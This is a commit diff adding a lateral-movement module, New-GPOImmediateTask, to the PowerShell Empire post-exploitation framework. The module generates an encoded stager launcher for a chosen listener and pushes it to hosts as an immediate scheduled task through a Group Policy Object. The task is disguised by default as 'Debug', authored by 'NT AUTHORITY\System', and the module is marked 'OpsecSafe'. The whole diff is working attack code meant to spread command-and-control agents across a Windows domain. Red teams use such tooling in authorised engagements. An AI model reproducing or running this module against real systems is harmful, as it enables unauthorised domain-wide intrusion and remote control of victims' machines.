Added lateral_movement/new_gpo_immediate_task
parent
97335b83d6
commit
e6e5222647
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@ -9,7 +9,7 @@ menu loops.
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"""
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# make version for Empire
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VERSION = "1.4.3"
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VERSION = "1.4.4"
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from pydispatch import dispatcher
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@ -0,0 +1,164 @@
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from lib.common import helpers
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class Module:
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def __init__(self, mainMenu, params=[]):
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self.info = {
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'Name': 'New-GPOImmediateTask',
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'Author': ['@harmj0y'],
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'Description': ("Builds an 'Immediate' schtask to push out through a specified GPO."),
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'Background' : True,
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'OutputExtension' : None,
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'NeedsAdmin' : False,
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'OpsecSafe' : True,
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'MinPSVersion' : '2',
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'Comments': [
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'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
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]
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}
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# any options needed by the module, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Agent' : {
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'Description' : 'Agent to run module on.',
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'Required' : True,
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'Value' : ''
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},
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'TaskName' : {
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'Description' : 'Name for the schtask to create.',
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'Required' : True,
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'Value' : 'Debug'
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},
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'TaskDescription' : {
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'Description' : 'Name for the schtask to create.',
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'Required' : False,
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'Value' : 'Debugging functionality.'
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},
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'TaskAuthor' : {
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'Description' : 'Name for the schtask to create.',
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'Required' : True,
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'Value' : 'NT AUTHORITY\System'
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},
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'GPOname' : {
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'Description' : 'The GPO name to build the task for.',
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'Required' : False,
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'Value' : ''
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},
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'GPODisplayName' : {
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'Description' : 'The GPO display name to build the task for.',
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'Required' : False,
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'Value' : ''
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},
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'Domain' : {
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'Description' : 'The domain to query for the GPOs, defaults to the current domain.',
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'Required' : False,
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'Value' : ''
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},
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'DomainController' : {
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'Description' : 'Domain controller to reflect LDAP queries through.',
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'Required' : False,
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'Value' : ''
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},
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'Listener' : {
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'Description' : 'Listener to use.',
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'Required' : True,
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'Value' : ''
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},
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'UserAgent' : {
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'Description' : 'User-agent string to use for the staging request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'Proxy' : {
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'Description' : 'Proxy to use for request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'ProxyCreds' : {
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'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'Remove' : {
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'Description' : 'Switch. Remove the immediate schtask.',
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'Required' : False,
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'Value' : 'default'
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self):
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moduleName = self.info["Name"]
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listenerName = self.options['Listener']['Value']
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userAgent = self.options['UserAgent']['Value']
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proxy = self.options['Proxy']['Value']
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proxyCreds = self.options['ProxyCreds']['Value']
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if not self.mainMenu.listeners.is_listener_valid(listenerName):
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# not a valid listener, return nothing for the script
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print helpers.color("[!] Invalid listener: " + listenerName)
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return ""
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else:
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# generate the PowerShell one-liner with all of the proper options set
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launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
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command = "/c \""+launcher+"\""
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if command == "":
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return ""
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else:
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# read in the common powerview.ps1 module source code
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moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
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try:
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f = open(moduleSource, 'r')
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except:
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print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
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return ""
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moduleCode = f.read()
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f.close()
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# get just the code needed for the specified function
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script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
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script += moduleName + " -Command cmd -CommandArguments '"+command+"' -Force"
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for option,values in self.options.iteritems():
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if option.lower() in ["taskname", "taskdescription", "taskauthor", "gponame", "gpodisplayname", "domain", "domaincontroller"]:
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if values['Value'] and values['Value'] != '':
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if values['Value'].lower() == "true":
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# if we're just adding a switch
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script += " -" + str(option)
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else:
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script += " -" + str(option) + " '" + str(values['Value']) + "'"
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script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
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return script
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